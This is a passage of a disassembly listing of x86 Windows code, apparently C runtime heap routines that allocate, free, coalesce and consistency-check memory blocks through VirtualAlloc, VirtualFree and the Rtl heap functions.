mov eax, [ebp+var_1C]
add eax, 1
mov ecx, [ebp+var_14]
add ecx, [ebp+var_1C]
mov [ecx-4], eax
mov edx, [ebp+var_14]
add edx, [ebp+var_1C]
mov [ebp+var_14], edx
mov eax, [ebp+var_28]
sub eax, [ebp+var_1C]
mov [ebp+var_28], eax
mov ecx, [ebp+var_28]
sar ecx, 4
sub ecx, 1
mov [ebp+var_24], ecx
cmp [ebp+var_24], 3Fh
jbe short loc_425347
mov [ebp+var_24], 3Fh
loc_425347: ; CODE XREF: sub_424FD0+36Ej
mov edx, [ebp+var_10]
and edx, 1
test edx, edx
jnz loc_425490
mov eax, [ebp+var_10]
sar eax, 4
sub eax, 1
mov [ebp+var_20], eax
cmp [ebp+var_20], 3Fh
jbe short loc_42536E
mov [ebp+var_20], 3Fh
loc_42536E: ; CODE XREF: sub_424FD0+395j
mov ecx, [ebp+var_2C]
mov edx, [ebp+var_2C]
mov eax, [ecx+4]
cmp eax, [edx+8]
jnz loc_425450
cmp [ebp+var_20], 20h
jnb short loc_4253E5
mov edx, 80000000h
mov ecx, [ebp+var_20]
shr edx, cl
not edx
mov eax, [ebp+var_4]
mov ecx, [ebp+var_30]
mov eax, [ecx+eax*4+44h]
and eax, edx
mov ecx, [ebp+var_4]
mov edx, [ebp+var_30]
mov [edx+ecx*4+44h], eax
mov eax, [ebp+var_30]
add eax, [ebp+var_20]
mov cl, [eax+4]
sub cl, 1
mov edx, [ebp+var_30]
add edx, [ebp+var_20]
mov [edx+4], cl
mov eax, [ebp+var_30]
add eax, [ebp+var_20]
movsx ecx, byte ptr [eax+4]
test ecx, ecx
jnz short loc_4253E3
mov edx, 80000000h
mov ecx, [ebp+var_20]
shr edx, cl
not edx
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, edx
mov edx, [ebp+arg_0]
mov [edx], ecx
loc_4253E3: ; CODE XREF: sub_424FD0+3F9j
jmp short loc_425450
; ---------------------------------------------------------------------------
loc_4253E5: ; CODE XREF: sub_424FD0+3B4j
mov ecx, [ebp+var_20]
sub ecx, 20h
mov eax, 80000000h
shr eax, cl
not eax
mov ecx, [ebp+var_4]
mov edx, [ebp+var_30]
mov ecx, [edx+ecx*4+0C4h]
and ecx, eax
mov edx, [ebp+var_4]
mov eax, [ebp+var_30]
mov [eax+edx*4+0C4h], ecx
mov ecx, [ebp+var_30]
add ecx, [ebp+var_20]
mov dl, [ecx+4]
sub dl, 1
mov eax, [ebp+var_30]
add eax, [ebp+var_20]
mov [eax+4], dl
mov ecx, [ebp+var_30]
add ecx, [ebp+var_20]
movsx edx, byte ptr [ecx+4]
test edx, edx
jnz short loc_425450
mov ecx, [ebp+var_20]
sub ecx, 20h
mov eax, 80000000h
shr eax, cl
not eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
and edx, eax
mov eax, [ebp+arg_0]
mov [eax+4], edx
loc_425450: ; CODE XREF: sub_424FD0+3AAj
; sub_424FD0:loc_4253E3j ...
mov ecx, [ebp+var_2C]
mov edx, [ecx+8]
mov eax, [ebp+var_2C]
mov ecx, [eax+4]
mov [edx+4], ecx
mov edx, [ebp+var_2C]
mov eax, [edx+4]
mov ecx, [ebp+var_2C]
mov edx, [ecx+8]
mov [eax+8], edx
mov eax, [ebp+var_28]
add eax, [ebp+var_10]
mov [ebp+var_28], eax
mov ecx, [ebp+var_28]
sar ecx, 4
sub ecx, 1
mov [ebp+var_24], ecx
cmp [ebp+var_24], 3Fh
jbe short loc_425490
mov [ebp+var_24], 3Fh
loc_425490: ; CODE XREF: sub_424FD0+37Fj
; sub_424FD0+4B7j
mov edx, [ebp+var_24]
mov eax, [ebp+var_8]
lea ecx, [eax+edx*8]
mov [ebp+var_18], ecx
mov edx, [ebp+var_14]
mov eax, [ebp+var_18]
mov ecx, [eax+4]
mov [edx+4], ecx
mov edx, [ebp+var_14]
mov eax, [ebp+var_18]
mov [edx+8], eax
mov ecx, [ebp+var_18]
mov edx, [ebp+var_14]
mov [ecx+4], edx
mov eax, [ebp+var_14]
mov ecx, [eax+4]
mov edx, [ebp+var_14]
mov [ecx+8], edx
mov eax, [ebp+var_14]
mov ecx, [ebp+var_14]
mov edx, [eax+4]
cmp edx, [ecx+8]
jnz loc_42559E
cmp [ebp+var_24], 20h
jnb short loc_425538
mov eax, [ebp+var_30]
add eax, [ebp+var_24]
movsx ecx, byte ptr [eax+4]
mov edx, [ebp+var_30]
add edx, [ebp+var_24]
mov al, [edx+4]
add al, 1
mov edx, [ebp+var_30]
add edx, [ebp+var_24]
mov [edx+4], al
test ecx, ecx
jnz short loc_425516
mov eax, 80000000h
mov ecx, [ebp+var_24]
shr eax, cl
mov ecx, [ebp+arg_0]
mov edx, [ecx]
or edx, eax
mov eax, [ebp+arg_0]
mov [eax], edx
loc_425516: ; CODE XREF: sub_424FD0+52Ej
mov edx, 80000000h
mov ecx, [ebp+var_24]
shr edx, cl
mov eax, [ebp+var_4]
mov ecx, [ebp+var_30]
mov eax, [ecx+eax*4+44h]
or eax, edx
mov ecx, [ebp+var_4]
mov edx, [ebp+var_30]
mov [edx+ecx*4+44h], eax
jmp short loc_42559E
; ---------------------------------------------------------------------------
loc_425538: ; CODE XREF: sub_424FD0+50Cj
mov eax, [ebp+var_30]
add eax, [ebp+var_24]
movsx ecx, byte ptr [eax+4]
mov edx, [ebp+var_30]
add edx, [ebp+var_24]
mov al, [edx+4]
add al, 1
mov edx, [ebp+var_30]
add edx, [ebp+var_24]
mov [edx+4], al
test ecx, ecx
jnz short loc_425575
mov ecx, [ebp+var_24]
sub ecx, 20h
mov eax, 80000000h
shr eax, cl
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
or edx, eax
mov eax, [ebp+arg_0]
mov [eax+4], edx
loc_425575: ; CODE XREF: sub_424FD0+588j
mov ecx, [ebp+var_24]
sub ecx, 20h
mov edx, 80000000h
shr edx, cl
mov eax, [ebp+var_4]
mov ecx, [ebp+var_30]
mov eax, [ecx+eax*4+0C4h]
or eax, edx
mov ecx, [ebp+var_4]
mov edx, [ebp+var_30]
mov [edx+ecx*4+0C4h], eax
loc_42559E: ; CODE XREF: sub_424FD0+502j
; sub_424FD0+566j
mov eax, [ebp+var_14]
mov ecx, [ebp+var_28]
mov [eax], ecx
mov edx, [ebp+var_14]
add edx, [ebp+var_28]
mov eax, [ebp+var_28]
mov [edx-4], eax
loc_4255B2: ; CODE XREF: sub_424FD0+321j
; sub_424FD0+32Cj
mov eax, 1
loc_4255B7: ; CODE XREF: sub_424FD0+8Dj
mov esp, ebp
pop ebp
retn
sub_424FD0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp ds:dword_4F3A00, 0
jz loc_4256EC
mov eax, ds:dword_4F39F4
shl eax, 0Fh
mov ecx, ds:dword_4F3A00
mov edx, [ecx+0Ch]
add edx, eax
mov [ebp-4], edx
push 4000h
push 8000h
mov eax, [ebp-4]
push eax
call ds:dword_4F54B0 ; VirtualFree
mov edx, 80000000h
mov ecx, ds:dword_4F39F4
shr edx, cl
mov eax, ds:dword_4F3A00
mov ecx, [eax+8]
or ecx, edx
mov edx, ds:dword_4F3A00
mov [edx+8], ecx
mov eax, ds:dword_4F3A00
mov ecx, [eax+10h]
mov edx, ds:dword_4F39F4
mov dword ptr [ecx+edx*4+0C4h], 0
mov eax, ds:dword_4F3A00
mov ecx, [eax+10h]
mov dl, [ecx+43h]
sub dl, 1
mov eax, ds:dword_4F3A00
mov ecx, [eax+10h]
mov [ecx+43h], dl
mov edx, ds:dword_4F3A00
mov eax, [edx+10h]
movsx ecx, byte ptr [eax+43h]
test ecx, ecx
jnz short loc_425672
mov edx, ds:dword_4F3A00
mov eax, [edx+4]
and al, 0FEh
mov ecx, ds:dword_4F3A00
mov [ecx+4], eax
loc_425672: ; CODE XREF: _0:0042565Cj
mov edx, ds:dword_4F3A00
cmp dword ptr [edx+8], 0FFFFFFFFh
jnz short loc_4256E2
cmp ds:dword_4F3A04, 1
jle short loc_4256E2
mov eax, ds:dword_4F3A00
mov ecx, [eax+10h]
push ecx
push 0
mov edx, ds:dword_4F39E8
push edx
call ds:dword_4F5414 ; RtlFreeHeap
mov eax, ds:dword_4F3A04
imul eax, 14h
mov ecx, ds:dword_4F3A08
add ecx, eax
mov edx, ds:dword_4F3A00
add edx, 14h
sub ecx, edx
push ecx
mov eax, ds:dword_4F3A00
add eax, 14h
push eax
mov ecx, ds:dword_4F3A00
push ecx
call sub_420840
add esp, 0Ch
mov edx, ds:dword_4F3A04
sub edx, 1
mov ds:dword_4F3A04, edx
loc_4256E2: ; CODE XREF: _0:0042567Cj _0:00425685j
mov ds:dword_4F3A00, 0
loc_4256EC: ; CODE XREF: _0:004255CBj
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4256F0 proc near ; CODE XREF: sub_423E20+44p
var_168 = dword ptr -168h
var_164 = dword ptr -164h
var_160 = dword ptr -160h
var_15C = dword ptr -15Ch
var_158 = dword ptr -158h
var_154 = dword ptr -154h
var_150 = dword ptr -150h
var_14C = dword ptr -14Ch
var_148 = dword ptr -148h
var_144 = dword ptr -144h
var_140 = dword ptr -140h
var_13C = dword ptr -13Ch
var_138 = dword ptr -138h
var_134 = dword ptr -134h
var_130 = dword ptr -130h
var_12C = dword ptr -12Ch
var_128 = dword ptr -128h
var_124 = dword ptr -124h
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_118 = dword ptr -118h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 168h
mov eax, ds:dword_4F3A04
imul eax, 14h
push eax
mov ecx, ds:dword_4F3A08
push ecx
call ds:dword_4F546C ; IsBadWritePtr
test eax, eax
jz short loc_42571B
or eax, 0FFFFFFFFh
jmp loc_425D09
; ---------------------------------------------------------------------------
loc_42571B: ; CODE XREF: sub_4256F0+21j
mov edx, ds:dword_4F3A08
mov [ebp+var_13C], edx
mov [ebp+var_120], 0
jmp short loc_425742
; ---------------------------------------------------------------------------
loc_425733: ; CODE XREF: sub_4256F0+612j
mov eax, [ebp+var_120]
add eax, 1
mov [ebp+var_120], eax
loc_425742: ; CODE XREF: sub_4256F0+41j
mov ecx, [ebp+var_120]
cmp ecx, ds:dword_4F3A04
jge loc_425D07
mov edx, [ebp+var_13C]
mov eax, [edx+10h]
mov [ebp+var_160], eax
push 41C4h
mov ecx, [ebp+var_160]
push ecx
call ds:dword_4F546C ; IsBadWritePtr
test eax, eax
jz short loc_425783
mov eax, 0FFFFFFFEh
jmp loc_425D09
; ---------------------------------------------------------------------------
loc_425783: ; CODE XREF: sub_4256F0+87j
mov edx, [ebp+var_13C]
mov eax, [edx+0Ch]
mov [ebp+var_128], eax
mov ecx, [ebp+var_160]
add ecx, 144h
mov [ebp+var_18], ecx
mov edx, [ebp+var_13C]
mov eax, [edx+8]
mov [ebp+var_4], eax
mov [ebp+var_144], 0
mov [ebp+var_158], 0
mov [ebp+var_C], 0
jmp short loc_4257D3
; ---------------------------------------------------------------------------
loc_4257CA: ; CODE XREF: sub_4256F0+5D6j
mov ecx, [ebp+var_C]
add ecx, 1
mov [ebp+var_C], ecx
loc_4257D3: ; CODE XREF: sub_4256F0+D8j
cmp [ebp+var_C], 20h
jge loc_425CCB
mov [ebp+var_11C], 0
mov [ebp+var_150], 0
mov [ebp+var_12C], 0
mov [ebp+var_14C], 0
jmp short loc_425816
; ---------------------------------------------------------------------------
loc_425807: ; CODE XREF: sub_4256F0+140j
mov edx, [ebp+var_14C]
add edx, 1
mov [ebp+var_14C], edx
loc_425816: ; CODE XREF: sub_4256F0+115j
cmp [ebp+var_14C], 40h
jge short loc_425832
mov eax, [ebp+var_14C]
mov [ebp+eax*4+var_118], 0
jmp short loc_425807
; ---------------------------------------------------------------------------
loc_425832: ; CODE XREF: sub_4256F0+12Dj
cmp [ebp+var_4], 0
jl loc_425C6D
push 8000h
mov ecx, [ebp+var_128]
push ecx
call ds:dword_4F546C ; IsBadWritePtr
test eax, eax
jz short loc_42585C
mov eax, 0FFFFFFFCh
jmp loc_425D09
; ---------------------------------------------------------------------------
loc_42585C: ; CODE XREF: sub_4256F0+160j
mov edx, [ebp+var_128]
mov [ebp+var_8], edx
mov [ebp+var_140], 0
jmp short loc_425880
; ---------------------------------------------------------------------------
loc_425871: ; CODE XREF: sub_4256F0+30Fj
mov eax, [ebp+var_140]
add eax, 1
mov [ebp+var_140], eax
loc_425880: ; CODE XREF: sub_4256F0+17Fj
cmp [ebp+var_140], 8
jge loc_425A04
mov ecx, [ebp+var_8]
add ecx, 0Ch
mov [ebp+var_130], ecx
mov edx, [ebp+var_130]
add edx, 0FF0h
mov [ebp+var_138], edx
mov eax, [ebp+var_130]
cmp dword ptr [eax-4], 0FFFFFFFFh
jnz short loc_4258C2
mov ecx, [ebp+var_138]
cmp dword ptr [ecx], 0FFFFFFFFh
jz short loc_4258CC
loc_4258C2: ; CODE XREF: sub_4256F0+1C5j
mov eax, 0FFFFFFFBh
jmp loc_425D09
; ---------------------------------------------------------------------------
loc_4258CC: ; CODE XREF: sub_4256F0+1D0j
; sub_4256F0+2E6j
mov edx, [ebp+var_130]
mov eax, [edx]
mov [ebp+var_148], eax
mov ecx, [ebp+var_148]
mov [ebp+var_154], ecx
mov edx, [ebp+var_154]
and edx, 1
test edx, edx
jz short loc_425929
mov eax, [ebp+var_148]
sub eax, 1
mov [ebp+var_148], eax
cmp [ebp+var_148], 400h
jle short loc_425918
mov eax, 0FFFFFFFAh
jmp loc_425D09
; ---------------------------------------------------------------------------
loc_425918: ; CODE XREF: sub_4256F0+21Cj
mov ecx, [ebp+var_12C]
add ecx, 1
mov [ebp+var_12C], ecx
jmp short loc_42596B
; ---------------------------------------------------------------------------
loc_425929: ; CODE XREF: sub_4256F0+201j
mov edx, [ebp+var_148]
sar edx, 4
sub edx, 1
mov [ebp+var_14C], edx
cmp [ebp+var_14C], 3Fh
jle short loc_42594E
mov [ebp+var_14C], 3Fh
loc_42594E: ; CODE XREF: sub_4256F0+252j
mov eax, [ebp+var_14C]
mov ecx, [ebp+eax*4+var_118]
add ecx, 1
mov edx, [ebp+var_14C]
mov [ebp+edx*4+var_118], ecx
loc_42596B: ; CODE XREF: sub_4256F0+237j
cmp [ebp+var_148], 10h
jl short loc_42598D
mov eax, [ebp+var_148]
and eax, 0Fh
test eax, eax
jnz short loc_42598D
cmp [ebp+var_148], 0FF0h
jle short loc_425997
loc_42598D: ; CODE XREF: sub_4256F0+282j
; sub_4256F0+28Fj
mov eax, 0FFFFFFF9h
jmp loc_425D09
; ---------------------------------------------------------------------------
loc_425997: ; CODE XREF: sub_4256F0+29Bj
mov ecx, [ebp+var_130]
add ecx, [ebp+var_148]
mov edx, [ecx-4]
cmp edx, [ebp+var_154]
jz short loc_4259B8
mov eax, 0FFFFFFF8h
jmp loc_425D09
; ---------------------------------------------------------------------------
loc_4259B8: ; CODE XREF: sub_4256F0+2BCj
mov eax, [ebp+var_130]
add eax, [ebp+var_148]
mov [ebp+var_130], eax
mov ecx, [ebp+var_130]
cmp ecx, [ebp+var_138]
jb loc_4258CC
mov edx, [ebp+var_130]
cmp edx, [ebp+var_138]
jz short loc_4259F4
mov eax, 0FFFFFFF8h
jmp loc_425D09
; ---------------------------------------------------------------------------
loc_4259F4: ; CODE XREF: sub_4256F0+2F8j
mov eax, [ebp+var_8]
add eax, 1000h
mov [ebp+var_8], eax
jmp loc_425871
; ---------------------------------------------------------------------------
loc_425A04: ; CODE XREF: sub_4256F0+197j
mov ecx, [ebp+var_18]
mov edx, [ecx]
cmp edx, [ebp+var_12C]
jz short loc_425A1B
mov eax, 0FFFFFFF7h
jmp loc_425D09
; ---------------------------------------------------------------------------
loc_425A1B: ; CODE XREF: sub_4256F0+31Fj
mov eax, [ebp+var_18]
mov [ebp+var_134], eax
mov [ebp+var_14], 0
jmp short loc_425A36
; ---------------------------------------------------------------------------
loc_425A2D: ; CODE XREF: sub_4256F0+578j
mov ecx, [ebp+var_14]
add ecx, 1
mov [ebp+var_14], ecx
loc_425A36: ; CODE XREF: sub_4256F0+33Bj
cmp [ebp+var_14], 40h
jge loc_425C6D
mov [ebp+var_168], 0
mov edx, [ebp+var_134]
mov [ebp+var_130], edx
loc_425A56: ; CODE XREF: sub_4256F0+4A5j
mov eax, [ebp+var_130]
mov ecx, [eax+4]
mov [ebp+var_15C], ecx
mov edx, [ebp+var_15C]
cmp edx, [ebp+var_134]
jz loc_425B9A
mov eax, [ebp+var_14]
mov ecx, [ebp+var_168]
cmp ecx, [ebp+eax*4+var_118]
jz loc_425B9A
mov edx, [ebp+var_15C]
cmp edx, [ebp+var_128]
jb short loc_425AAE
mov eax, [ebp+var_128]
add eax, 8000h
cmp [ebp+var_15C], eax
jb short loc_425AB8
loc_425AAE: ; CODE XREF: sub_4256F0+3A9j
mov eax, 0FFFFFFF6h
jmp loc_425D09
; ---------------------------------------------------------------------------
loc_425AB8: ; CODE XREF: sub_4256F0+3BCj
mov ecx, [ebp+var_15C]
and ecx, 0FFFFF000h
mov [ebp+var_164], ecx
mov edx, [ebp+var_164]
add edx, 0Ch
mov [ebp+var_10], edx
mov eax, [ebp+var_10]
add eax, 0FF0h
mov [ebp+var_124], eax
loc_425AE4: ; CODE XREF: sub_4256F0+41Cj
mov ecx, [ebp+var_10]
cmp ecx, [ebp+var_124]
jz short loc_425B0E
mov edx, [ebp+var_10]
cmp edx, [ebp+var_15C]
jnz short loc_425AFC
jmp short loc_425B0E
; ---------------------------------------------------------------------------
loc_425AFC: ; CODE XREF: sub_4256F0+408j
mov eax, [ebp+var_10]
mov ecx, [eax]
and ecx, 0FFFFFFFEh
mov edx, [ebp+var_10]
add edx, ecx
mov [ebp+var_10], edx
jmp short loc_425AE4
; ---------------------------------------------------------------------------
loc_425B0E: ; CODE XREF: sub_4256F0+3FDj
; sub_4256F0+40Aj
mov eax, [ebp+var_10]
cmp eax, [ebp+var_124]
jnz short loc_425B23
mov eax, 0FFFFFFF5h
jmp loc_425D09
; ---------------------------------------------------------------------------
loc_425B23: ; CODE XREF: sub_4256F0+427j
mov ecx, [ebp+var_15C]
mov edx, [ecx]
sar edx, 4
sub edx, 1
mov [ebp+var_14C], edx
cmp [ebp+var_14C], 3Fh
jle short loc_425B4A
mov [ebp+var_14C], 3Fh
loc_425B4A: ; CODE XREF: sub_4256F0+44Ej
mov eax, [ebp+var_14C]
cmp eax, [ebp+var_14]
jz short loc_425B5F
mov eax, 0FFFFFFF4h
jmp loc_425D09
; ---------------------------------------------------------------------------
loc_425B5F: ; CODE XREF: sub_4256F0+463j
mov ecx, [ebp+var_15C]
mov edx, [ecx+8]
cmp edx, [ebp+var_130]
jz short loc_425B7A
mov eax, 0FFFFFFF3h
jmp loc_425D09
; ---------------------------------------------------------------------------
loc_425B7A: ; CODE XREF: sub_4256F0+47Ej
mov eax, [ebp+var_15C]
mov [ebp+var_130], eax
mov ecx, [ebp+var_168]
add ecx, 1
mov [ebp+var_168], ecx
jmp loc_425A56
; ---------------------------------------------------------------------------
loc_425B9A: ; CODE XREF: sub_4256F0+381j
; sub_4256F0+397j
cmp [ebp+var_168], 0
jz short loc_425C11
cmp [ebp+var_14], 20h
jge short loc_425BDB
mov edx, 80000000h
mov ecx, [ebp+var_14]
shr edx, cl
mov eax, [ebp+var_11C]
or eax, edx
mov [ebp+var_11C], eax
mov edx, 80000000h
mov ecx, [ebp+var_14]
shr edx, cl
mov eax, [ebp+var_144]
or eax, edx
mov [ebp+var_144], eax
jmp short loc_425C11
; ---------------------------------------------------------------------------
loc_425BDB: ; CODE XREF: sub_4256F0+4B7j
mov ecx, [ebp+var_14]
sub ecx, 20h
mov edx, 80000000h
shr edx, cl
mov eax, [ebp+var_150]
or eax, edx
mov [ebp+var_150], eax
mov ecx, [ebp+var_14]
sub ecx, 20h
mov edx, 80000000h
shr edx, cl
mov eax, [ebp+var_158]
or eax, edx
mov [ebp+var_158], eax
loc_425C11: ; CODE XREF: sub_4256F0+4B1j
; sub_4256F0+4E9j
mov ecx, [ebp+var_130]
mov edx, [ecx+4]
cmp edx, [ebp+var_134]
jnz short loc_425C34
mov eax, [ebp+var_14]
mov ecx, [ebp+var_168]
cmp ecx, [ebp+eax*4+var_118]
jz short loc_425C3E
loc_425C34: ; CODE XREF: sub_4256F0+530j
mov eax, 0FFFFFFF2h
jmp loc_425D09
; ---------------------------------------------------------------------------
loc_425C3E: ; CODE XREF: sub_4256F0+542j
mov edx, [ebp+var_134]
mov eax, [edx+8]
cmp eax, [ebp+var_130]
jz short loc_425C59
mov eax, 0FFFFFFF1h
jmp loc_425D09
; ---------------------------------------------------------------------------
loc_425C59: ; CODE XREF: sub_4256F0+55Dj
mov ecx, [ebp+var_134]
add ecx, 8
mov [ebp+var_134], ecx
jmp loc_425A2D
; ---------------------------------------------------------------------------
loc_425C6D: ; CODE XREF: sub_4256F0+146j
; sub_4256F0+34Aj
mov edx, [ebp+var_C]
mov eax, [ebp+var_160]
mov ecx, [ebp+var_11C]
cmp ecx, [eax+edx*4+44h]
jnz short loc_425C9A
mov edx, [ebp+var_C]
mov eax, [ebp+var_160]
mov ecx, [ebp+var_150]
cmp ecx, [eax+edx*4+0C4h]
jz short loc_425CA1
loc_425C9A: ; CODE XREF: sub_4256F0+590j
mov eax, 0FFFFFFF0h
jmp short loc_425D09
; ---------------------------------------------------------------------------
loc_425CA1: ; CODE XREF: sub_4256F0+5A8j
mov edx, [ebp+var_128]
add edx, 8000h
mov [ebp+var_128], edx
mov eax, [ebp+var_18]
add eax, 204h
mov [ebp+var_18], eax
mov ecx, [ebp+var_4]
shl ecx, 1
mov [ebp+var_4], ecx
jmp loc_4257CA
; ---------------------------------------------------------------------------
loc_425CCB: ; CODE XREF: sub_4256F0+E7j
mov edx, [ebp+var_13C]
mov eax, [ebp+var_144]
cmp eax, [edx]
jnz short loc_425CEC
mov ecx, [ebp+var_13C]
mov edx, [ebp+var_158]
cmp edx, [ecx+4]
jz short loc_425CF3
loc_425CEC: ; CODE XREF: sub_4256F0+5E9j
mov eax, 0FFFFFFEFh
jmp short loc_425D09
; ---------------------------------------------------------------------------
loc_425CF3: ; CODE XREF: sub_4256F0+5FAj
mov eax, [ebp+var_13C]
add eax, 14h
mov [ebp+var_13C], eax
jmp loc_425733
; ---------------------------------------------------------------------------
loc_425D07: ; CODE XREF: sub_4256F0+5Ej
xor eax, eax
loc_425D09: ; CODE XREF: sub_4256F0+26j
; sub_4256F0+8Ej ...
mov esp, ebp
pop ebp
retn
sub_4256F0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
mov eax, ds:dword_453BDC
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
mov eax, [ebp+8]
add eax, 0Fh
and al, 0F0h
mov [ebp+8], eax
cmp dword ptr [ebp+8], 780h
ja short loc_425D47
mov ecx, [ebp+8]
mov ds:dword_453BDC, ecx
mov eax, 1
jmp short loc_425D49
; ---------------------------------------------------------------------------
loc_425D47: ; CODE XREF: _0:00425D35j
xor eax, eax
loc_425D49: ; CODE XREF: _0:00425D45j
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425D50 proc near ; CODE XREF: _0:00424051p
; sub_426210+34Cp ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 0Ch
cmp ds:dword_451BC8, 0FFFFFFFFh
jnz short loc_425D68
mov [ebp+var_C], offset off_451BB8
jmp short loc_425D8B
; ---------------------------------------------------------------------------
loc_425D68: ; CODE XREF: sub_425D50+Dj
push 2020h
push 0
mov eax, ds:dword_4F39E8
push eax
call ds:dword_4F5418 ; RtlAllocateHeap
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jnz short loc_425D8B
xor eax, eax
jmp loc_425F2A
; ---------------------------------------------------------------------------
loc_425D8B: ; CODE XREF: sub_425D50+16j
; sub_425D50+32j
push 4
push 2000h
push 400000h
push 0
call ds:dword_4F54B4 ; VirtualAlloc
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz loc_425F0C
push 4
push 1000h
push 10000h
mov ecx, [ebp+var_4]
push ecx
call ds:dword_4F54B4 ; VirtualAlloc
test eax, eax
jz loc_425EFB
cmp [ebp+var_C], offset off_451BB8
jnz short loc_425DFB
cmp ds:off_451BB8, 0
jnz short loc_425DE6
mov ds:off_451BB8, offset off_451BB8
loc_425DE6: ; CODE XREF: sub_425D50+8Aj
cmp ds:off_451BBC, 0
jnz short loc_425DF9
mov ds:off_451BBC, offset off_451BB8
loc_425DF9: ; CODE XREF: sub_425D50+9Dj
jmp short loc_425E24
; ---------------------------------------------------------------------------
loc_425DFB: ; CODE XREF: sub_425D50+81j
mov edx, [ebp+var_C]
mov dword ptr [edx], offset off_451BB8
mov eax, [ebp+var_C]
mov ecx, ds:off_451BBC
mov [eax+4], ecx
mov edx, [ebp+var_C]
mov ds:off_451BBC, edx
mov eax, [ebp+var_C]
mov ecx, [eax+4]
mov edx, [ebp+var_C]
mov [ecx], edx
loc_425E24: ; CODE XREF: sub_425D50:loc_425DF9j
mov eax, [ebp+var_C]
mov ecx, [ebp+var_4]
mov [eax+10h], ecx
mov edx, [ebp+var_4]
add edx, 400000h
mov eax, [ebp+var_C]
mov [eax+14h], edx
mov ecx, [ebp+var_C]
add ecx, 18h
mov edx, [ebp+var_C]
mov [edx+8], ecx
mov eax, [ebp+var_C]
add eax, 98h
mov ecx, [ebp+var_C]
mov [ecx+0Ch], eax
mov [ebp+var_8], 0
jmp short loc_425E68
; ---------------------------------------------------------------------------
loc_425E5F: ; CODE XREF: sub_425D50+153j
mov edx, [ebp+var_8]
add edx, 1
mov [ebp+var_8], edx
loc_425E68: ; CODE XREF: sub_425D50+10Dj
cmp [ebp+var_8], 400h
jge short loc_425EA5
cmp [ebp+var_8], 10h
jge short loc_425E87
mov eax, [ebp+var_8]
mov ecx, [ebp+var_C]
mov dword ptr [ecx+eax*8+18h], 0F0h
jmp short loc_425E95
; ---------------------------------------------------------------------------
loc_425E87: ; CODE XREF: sub_425D50+125j
mov edx, [ebp+var_8]
mov eax, [ebp+var_C]
mov dword ptr [eax+edx*8+18h], 0FFFFFFFFh
loc_425E95: ; CODE XREF: sub_425D50+135j
mov ecx, [ebp+var_8]
mov edx, [ebp+var_C]
mov dword ptr [edx+ecx*8+1Ch], 0F1h
jmp short loc_425E5F
; ---------------------------------------------------------------------------
loc_425EA5: ; CODE XREF: sub_425D50+11Fj
push 10000h
push 0
mov eax, [ebp+var_4]
push eax
call sub_41E4B0
add esp, 0Ch
loc_425EB8: ; CODE XREF: sub_425D50+1A4j
mov ecx, [ebp+var_C]
mov edx, [ecx+10h]
add edx, 10000h
cmp [ebp+var_4], edx
jnb short loc_425EF6
mov eax, [ebp+var_4]
add eax, 8
mov ecx, [ebp+var_4]
mov [ecx], eax
mov edx, [ebp+var_4]
mov dword ptr [edx+4], 0F0h
mov eax, [ebp+var_4]
mov byte ptr [eax+0F8h], 0FFh
mov ecx, [ebp+var_4]
add ecx, 1000h
mov [ebp+var_4], ecx
jmp short loc_425EB8
; ---------------------------------------------------------------------------
loc_425EF6: ; CODE XREF: sub_425D50+177j
mov eax, [ebp+var_C]
jmp short loc_425F2A
; ---------------------------------------------------------------------------
loc_425EFB: ; CODE XREF: sub_425D50+74j
push 8000h
push 0
mov edx, [ebp+var_4]
push edx
call ds:dword_4F54B0 ; VirtualFree
loc_425F0C: ; CODE XREF: sub_425D50+56j
cmp [ebp+var_C], offset off_451BB8
jz short loc_425F28
mov eax, [ebp+var_C]
push eax
push 0
mov ecx, ds:dword_4F39E8
push ecx
call ds:dword_4F5414 ; RtlFreeHeap
loc_425F28: ; CODE XREF: sub_425D50+1C3j
xor eax, eax
loc_425F2A: ; CODE XREF: sub_425D50+36j
; sub_425D50+1A9j
mov esp, ebp
pop ebp
retn
sub_425D50 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425F30 proc near ; CODE XREF: sub_425FB0+136p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 8000h
push 0
mov eax, [ebp+arg_0]
mov ecx, [eax+10h]
push ecx
call ds:dword_4F54B0 ; VirtualFree
mov edx, ds:off_453BD8
cmp edx, [ebp+arg_0]
jnz short loc_425F5E
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
mov ds:off_453BD8, ecx
loc_425F5E: ; CODE XREF: sub_425F30+20j
cmp [ebp+arg_0], offset off_451BB8
jz short loc_425F97
mov edx, [ebp+arg_0]
mov eax, [edx+4]
mov ecx, [ebp+arg_0]
mov edx, [ecx]
mov [eax], edx
mov eax, [ebp+arg_0]
mov ecx, [eax]
mov edx, [ebp+arg_0]
mov eax, [edx+4]
mov [ecx+4], eax
mov ecx, [ebp+arg_0]
push ecx
push 0
mov edx, ds:dword_4F39E8
push edx
call ds:dword_4F5414 ; RtlFreeHeap
jmp short loc_425FA1
; ---------------------------------------------------------------------------
loc_425F97: ; CODE XREF: sub_425F30+35j
mov ds:dword_451BC8, 0FFFFFFFFh
loc_425FA1: ; CODE XREF: sub_425F30+65j
pop ebp
retn
sub_425F30 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425FB0 proc near ; CODE XREF: sub_4261A0+60p
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
